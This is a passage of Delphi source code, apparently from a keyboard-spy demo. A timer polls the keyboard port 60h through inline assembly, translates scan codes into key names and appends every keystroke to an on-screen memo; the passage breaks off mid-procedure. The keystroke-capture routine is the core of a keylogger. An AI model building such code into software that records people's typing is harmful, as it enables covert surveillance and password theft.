procedure TForm1.WndProc(var Msg: TMessage);
begin
with Msg do
if Msg = WM_TIMER then
try
KeyDownSpy;
except
Application.HandleException(Self);
end
else
Result := DefWindowProc(WindowHandle, Msg, wParam, lParam);
end;
procedure TForm1.UpdateTimer;
var
b: Byte;
begin
KillTimer(WindowHandle, 1);
if StartSpy then
begin
asm
mov al, 60h
mov b, al
end;
OldKey := b;
if SetTimer(WindowHandle, 1, 1, nil) = 0 then
raise EOutOfResources.Create('建立定时器出错');
end;
end;
procedure TForm1.KeyDownSpy;
var
Key: Byte;
St: String;
begin
asm
in al, 60h
mov Key, al
end;
if Key = 170 then
begin
Key := 84;
LShiftUp := True;
end;
if Key = 182 then
begin
Key := 85;
RShiftUp := True;
end;
if Key = 42 then LShiftUp := False;
if Key = 54 then RShiftUp := False;
if Key <> OldKey then
begin
OldKey := Key;
if Key <= 88 then
begin
if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key])
else
St := StrPas(HiButtonName[Key]);
KeySpyDown(self,key,st);
end
else
if (Key - 128 <= 88) then
begin
if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key - 128])
else
St := StrPas(HiButtonName[Key - 128]);
KeySpyUp(self,key,st);
end;
end;
end;
procedure TForm1.KeySpyDown(Sender: TObject; Key: Byte;
KeyStr: String);
begin
OnDown.Caption := 'KeySpyDown: Key = ' + IntToStr(Key) + ', KeyStr = ' + KeyStr;
if (KeyStr[1] = '-') and (KeyStr[2] = '-') then
begin
Hook.Lines.Add('');
OldRet := True;
end
else
if OldRet then
begin
Hook.Lines.Add('');
OldRet := False;
end;
Hook.Text := Hook.Text + KeyStr;